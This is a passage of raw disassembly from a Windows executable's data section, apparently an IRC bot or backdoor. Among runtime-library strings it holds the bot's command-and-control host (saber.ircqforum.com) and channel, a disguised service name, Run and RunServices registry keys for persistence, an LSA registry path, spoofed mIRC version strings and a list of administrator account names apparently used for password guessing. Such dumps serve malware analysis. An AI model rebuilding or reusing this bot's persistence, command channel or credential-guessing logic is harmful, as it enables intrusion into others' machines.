mov ecx, [ebp-10h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E68: ; DATA XREF: sub_426618o
mov eax, offset dword_4280F0
jmp loc_41C91F
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E7A: ; DATA XREF: sub_42669Ao
mov eax, offset dword_428150
jmp loc_41C91F
; ---------------------------------------------------------------------------
dd 5Fh dup(0)
dd 2760000h, 2770000h, 2780000h, 27806D8h, 2790000h, 2790B72h
dd 2790BDDh, 27A0000h, 27A006Ch, 27B0000h, 27B084Fh, 27C0000h
dd 27C02EDh, 27C0A2Ah, 27C0CC3h
dword_42703C dd 27C0D41h ; DATA XREF: ___:004231D9r
dd 27D0000h, 27D025Bh, 27D0284h, 27D0360h, 27E0000h, 27F0000h
dd 27F0CC2h, 2800000h, 2800599h, 77E75CB5h
dword_427068 dd 28005AFh ; DATA XREF: sub_40111D+B8r
; ___:004014FCr ...
db 90h
db 8, 80h, 2
dd 2810000h, 2820000h
dword_427078 dd 2820566h ; DATA XREF: sub_40111D+29r
; sub_401ACD+318Br ...
dword_42707C dd 282060Ah ; DATA XREF: ___:004015E2r
; sub_410CD5+32r
dd 282080Eh
dword_427084 dd 282091Ch ; DATA XREF: sub_4196BC+B9r
dd 2830000h
dword_42708C dd 2830047h ; DATA XREF: sub_410FF8:loc_411089r
dword_427090 dd 2830063h ; DATA XREF: ___:loc_4013DCr
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 3, 83h, 2
dd 2830500h
dword_42709C dd 2830635h ; DATA XREF: sub_409B12+2r
dd 2830753h, 283083Dh
dword_4270A8 dd 2830E52h ; DATA XREF: ___:0040124Dr
; sub_41A4D1+8Cr
dword_4270AC dd 2840000h ; DATA XREF: sub_410CD5:loc_410DC1r
dd 284016Dh, 2840C51h
dword_4270B8 dd 2850000h ; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC dd 28503A1h ; DATA XREF: sub_409B12+11r
; sub_416F1A+60r ...
dd 2860000h, 2870000h, 2880000h, 288097Dh, 77F7E300h, 77F7E21Fh
dd 2890000h, 289023Fh, 28A0000h, 28A08DEh
dword_4270E8 dd 28B0000h ; DATA XREF: sub_410FF8+Br
dword_4270EC dd 28B0703h ; DATA XREF: sub_418293+36r
dd 28B09AAh, 28C0000h
dword_4270F8 dd 28C056Ch ; DATA XREF: sub_410F1F+3Ar
; sub_419C64+79r
dword_4270FC dd 28D0000h ; DATA XREF: sub_410E26+23r
; sub_419C64+3Br
dd 28D14A2h, 28E0000h, 28E0A73h, 28F0000h, 28F09B1h, 2900000h
dd 2910000h, 2920000h, 2920A74h, 2920E00h, 2930000h, 293012Ah
dd 2930989h, 2940000h, 2940449h
dword_42713C dd 29406ABh ; DATA XREF: sub_416F1A+BCr
dd 2950000h
dword_427144 dd 2960000h ; DATA XREF: sub_4170EC+21r
; sub_417275+4Ar
dword_427148 dd 2960B03h ; DATA XREF: sub_4170EC+10r
; sub_417275+40r ...
dd 2960B56h
dword_427150 dd 2970000h ; DATA XREF: sub_417275+56r
; ---------------------------------------------------------------------------
retf 9702h
; ---------------------------------------------------------------------------
db 2
dd 2980000h, 2990000h, 29906B2h, 2990BF2h, 29A0000h, 29A01C2h
dd 29A0859h, 29B0000h, 29C0000h
dword_42717C dd 29C1170h ; DATA XREF: sub_418B58+13r
; ___:0042324Er ...
dword_427180 dd 29D0000h ; DATA XREF: sub_418C2A+Fr
; sub_41D834+54r ...
dd 29E0000h, 29E044Ch, 29E0898h, 29E0BF9h, 29F0000h, 2A00000h
dd 2A10000h, 2A20000h, 2A30000h, 2A40000h, 2A41A68h, 2A41A87h
dd 2A50000h, 2A50DA1h, 2A60000h
dword_4271C0 dd 2A605B8h ; DATA XREF: sub_41DEA2+240r
dword_4271C4 dd 2A606B3h ; DATA XREF: sub_41E976:loc_41E9A7r
dd 2A607E7h, 2A70000h, 2A7075Dh, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0ACh, 0B2h, 71h
align 10h
dd 71AB4122h
dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr
dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
dd 71AB1746h, 71AB3E5Dh
dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar
dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
dd 71AB157Eh, 0
dword_427238 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co
; sub_401ACD+356Co ...
align 10h
aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co
; sub_401ACD+38D2o ...
align 4
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr
dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r
dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr
; sub_40D4B0r ...
align 10h
dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r
dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do
; sub_40D560+5Bo ...
flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r
dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r
; ___:004166D1r ...
dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r
dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r
dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r
; sub_417ADD+3A7r
dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r
dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br
; sub_417ADD+2D5r ...
dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r
dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr
; sub_417ADD+138r ...
dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r
; sub_417ADD+308r
dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r
dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br
flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r
flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr
flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r
flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r
dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr
; sub_41C7BF+6Cr ...
dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
align 4
byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_43CBC4o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: ___:off_43CBC0o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: ___:off_43CE3Co
dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr
; sub_42135F+ACr ...
dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr
dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o
align 4
dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o
dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o
dd offset loc_42224A
align 8
dd offset sub_422228
dd offset sub_422232
dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o
dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o
dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o
dd offset loc_4225AD
align 10h
dd offset loc_422599
dd offset loc_42259D
dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o
dd offset loc_422603
align 8
dd offset loc_4225EF
dd offset loc_4225F3
dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o
; sub_423CEC+39o ...
dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
; DATA XREF: sub_422ACA+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D00Co
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
align 10h
asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
align 10h
dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo
align 10h
dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
; DATA XREF: sub_425F03+5o
dd 427E2Ch
off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o
; sub_4264FE+2Co ...
dd offset sub_4264D5
dd offset sub_4266F6
dd offset dword_427E78
off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao
; sub_426568o ...
dd offset sub_4264D5
dd offset loc_426732
dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o
; sub_4265D0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o
dd offset dword_427EC4
off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o
; sub_42669A+37o ...
dd offset sub_4264D5
dd offset loc_426714
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o
dd offset dword_427F08
off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o
; ___:off_43D734o ...
dd offset dword_427F38
off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o
; sub_42686C+8o ...
dd offset sub_4268CC
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
align 10h
dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo
dd 3, 19930520h, 2 dup(0)
dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
; DATA XREF: sub_426988+5o
dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
; DATA XREF: sub_426C13+5o
dd 43D734h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_427DF8 dd offset off_43D74C ; DATA XREF: ___:00427E10o
; ___:00427E5Co ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427DF8
dd offset dword_427DC8+18h
dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co
dd 2, 427E10h, 3 dup(0)
dd offset off_43D74C
dd offset dword_427E18+4
off_427E40 dd offset off_43D76C ; DATA XREF: ___:00427E58o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E40
dd offset off_427DF8
dd offset dword_427DC8+18h
dd 0
db 0 ; DATA XREF: ___:00427E88o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 427E58h
dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o
dd offset off_43D76C
dd offset unk_427E68
off_427E8C dd offset off_43D78C ; DATA XREF: ___:00427EA4o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427E8C
dd offset off_427DF8
dd offset dword_427DC8+18h
dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o
dd 3, 427EA4h
dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o
dd offset off_43D78C
dd offset dword_427EB0+4
off_427ED8 dd offset off_43D7B0 ; DATA XREF: ___:00427EF0o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_427ED8
dd 0
db 0 ; DATA XREF: ___:00427F18o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 427EF0h
dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o
dd offset off_43D7B0
dd offset unk_427EF8
dd offset dword_427DC8+18h
dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o
dd 1, 427F1Ch
dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co
dd offset off_43D734
dd offset dword_427F20+8
align 10h
dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o
dd 0FFFFFFFFh, 426DE0h, 0
dd offset sub_426DD8
dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o
dd 0FFFFFFFFh, 426E04h, 0
dd offset loc_426E0C
dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 427FF8h, 4 dup(0)
; ---------------------------------------------------------------------------
retf 40D7h
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 426E2Ah
dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o
dd offset off_43D734
align 8
dd 0FFFFFFFFh, 0
dd 0Ch, 42686Ch, 0
dd offset off_43D74C
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426618h, 0
dd offset off_43D76C
align 10h
dd 0FFFFFFFFh, 0
dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co
dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo
; sub_4266F6+4Bo
dd offset sub_426568
dd 0
dd offset dword_428078+8
dd 0FFFFFFFFh, 426E3Ch
dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o
dd 0FFFFFFFFh, 426E4Eh
dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o
dd 0FFFFFFFFh, 426E60h
dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o
dd offset off_43D78C
align 8
dd 0FFFFFFFFh, 0
dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o
dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo
; sub_4266F6+2Do
dd offset sub_426677
dd 0
dd offset dword_428120+8
dd 0FFFFFFFFh, 426E72h
dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao
dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o
dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo
dd offset sub_4264BA
dd 0
dd offset dword_42816C
dd 5 dup(1B2B6E8Bh), 5 dup(7FC49B3h), 5 dup(68773A48h)
dd 7Ah dup(0)
dd 68773A48h, 0
dd 1B2B6E8Bh, 15h dup(0)
dd 7FC49B3h, 2FCh dup(0)
dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o
dd offset loc_401205
dd offset sub_40D878
dd offset sub_40D89A
dd offset dword_40E504+1CFh
dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo
dword_429018 dd 0 ; DATA XREF: ___:0041B794o
dd offset sub_41D052
dd offset sub_42026D
dd offset sub_423936
dd offset word_424752
dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo
dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o
dd offset sub_4239DB
dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o
dd offset byte_424763
dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
; DATA XREF: sub_401000+7o
dword_429068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo ...
dword_42906C dd 0C8Bh ; DATA XREF: ___:004016C5r
; ___:0040175Ar
dword_429070 dd 1B58h ; DATA XREF: ___:004017A6r
dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br
dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r
; sub_40BACD+3Br
dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r
; sub_40BACD:loc_40BEBEr
dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr
word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er
align 4
dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr
dword_42908C dd 1 ; DATA XREF: ___:0040135Er
dword_429090 dd 1 ; DATA XREF: ___:loc_401562r
; sub_418359+Cr
byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r
; sub_401ACD+B4Br ...
align 4
dword_429098 dd 5 ; DATA XREF: sub_40ACB5+3Ar
; sub_40ACB5+60r ...
dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r
; sub_401ACD+279r ...
dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r
; sub_401ACD+273r
aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo
; sub_401ACD:loc_4044A0o ...
align 4
aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o
align 4
aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo
; sub_401ACD+7EAAo
align 10h
aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o
; ___:0040174Bo
aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o
; ___:00401761o ...
align 4
aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o
; ___:00401773o
align 4
byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r
; ___:00401797o
aAber_ircqforum db 'aber.ircqforum.com',0
aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo
align 10h
aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo
align 4
byte_429108 db 6Dh ; DATA XREF: ___:00401364o
; ___:00401388w ...
db 73h, 6Dh, 6Eh
dd 2E726167h, 657865h
dword_429114 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServceA db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo
align 4
asc_429138: ; DATA XREF: ___:0040AD34o
unicode 0, <->,0
aWinsys_dat db 'winsys.dat',0
align 4
aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o
align 10h
aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o
; sub_401ACD+303Fo ...
align 4
aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o
align 4
aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o
; sub_401ACD+4216o
align 4
off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo
; "*@admin.com"
off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
; sub_401ACD+7E4Ao
; "mIRC v6.16 Khaled Mardam-Bey"
dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey"
dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey"
dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey"
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
; sub_41A19D+28o
align 10h
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
; sub_41A19D+D4o
align 4
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
